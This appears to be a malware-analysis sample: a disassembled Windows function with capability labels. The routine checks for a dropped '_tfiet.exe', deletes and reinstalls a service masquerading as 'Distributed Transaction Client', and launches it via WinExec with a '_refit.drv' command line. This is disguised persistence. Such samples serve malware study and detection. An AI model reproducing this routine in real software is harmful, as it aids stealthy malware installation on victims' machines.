Function at 0x401db0
Capabilities:
Create process on windows
Delete service
Get common file path
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x4036f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push ebp
xor ebp, ebp
push edi
xor edi, edi
mov dword [esp + 0x18], ebp
lea ecx, [esp + 0x14]
mov dword [esp + 0x48], edi
call fcn.00403312
lea ecx, [esp + 0xc]
mov byte [esp + 0x48], 1
mov dword [esp + 0x1c], 0x104
call fcn.00403312
push 0x100
push 0x100
lea ecx, [esp + 0x14]
mov byte [esp + 0x50], 2
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CFileFind::CFileFind
lea eax, [esp + 0xc]
push str._tfiet.exe
lea ecx, [esp + 0x14]
push eax
push ecx
mov byte [esp + 0x54], 3
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push edi
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x50], 4
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x48], 3
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x401ea9
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 2
call fcn.004033a8
lea ecx, [esp + 0xc]
mov byte [esp + 0x48], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x48], 0
call sub.MFC42.DLL_CString::CString
pop edi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
add esp, 0x40
ret
push esi
lea edx, [esp + 0x10]
push str._tfiet.exe
lea eax, [esp + 0x18]
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
mov byte [esp + 0x4c], 5
push eax
call fcn.00401180
add esp, 4
lea ecx, [esp + 0x14]
mov byte [esp + 0x4c], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], edi
push ecx
push 0xf003f
push edi
push str.SYSTEMCurrentControlSetServicesDistributed_Transaction_Client
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
jne 0x401f6a
mov esi, dword [esp + 0x14]
push 0x4061c4
mov ebp, esi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x20], ebp
call sub.MFC42.DLL_CString::operator
push 0x104
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::GetBuffer
lea edx, [esp + 0x20]
mov dword [esp + 0x14], edi
push edx
push eax
lea eax, [esp + 0x1c]
push eax
push edi
push str.Description
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::ReleaseBuffer
cmp esi, edi
je 0x401f5d
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebp, ebp
mov dword [esp + 0x1c], ebp
mov ecx, dword [esp + 0x18]
cmp dword [ecx - 8], edi
jne 0x402030
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf01ff
push str.Distributed_Transaction_Client
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
lea edx, [esp + 0x10]
push 0x405338
lea eax, [esp + 0x18]
push edx
push eax
call sub.MFC42.DLL_operator_2
mov bl, 6
push str.add__cmdline:_
lea ecx, [esp + 0x18]
mov byte [esp + 0x50], bl
call fcn.0040331e
lea ecx, [esp + 0x10]
push str._refit.drv
lea edx, [esp + 0x28]
push ecx
push edx
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x50], 7
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x24]
mov byte [esp + 0x4c], bl
call sub.MFC42.DLL_CString::CString
push str.___name:_Distributed_Transaction_Client
lea ecx, [esp + 0x18]
call fcn.0040331e
push str.___desc:_
lea ecx, [esp + 0x18]
call fcn.0040331e
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x14]
mov byte [esp + 0x4c], 3
call sub.MFC42.DLL_CString::CString
xor edi, edi
lea ecx, [esp + 0x28]
mov byte [esp + 0x4c], 2
call fcn.004033a8
lea ecx, [esp + 0x10]
mov byte [esp + 0x4c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x4c], 0
call sub.MFC42.DLL_CString::CString
cmp ebp, edi
pop esi
je 0x402066
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x40]
pop edi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x40
ret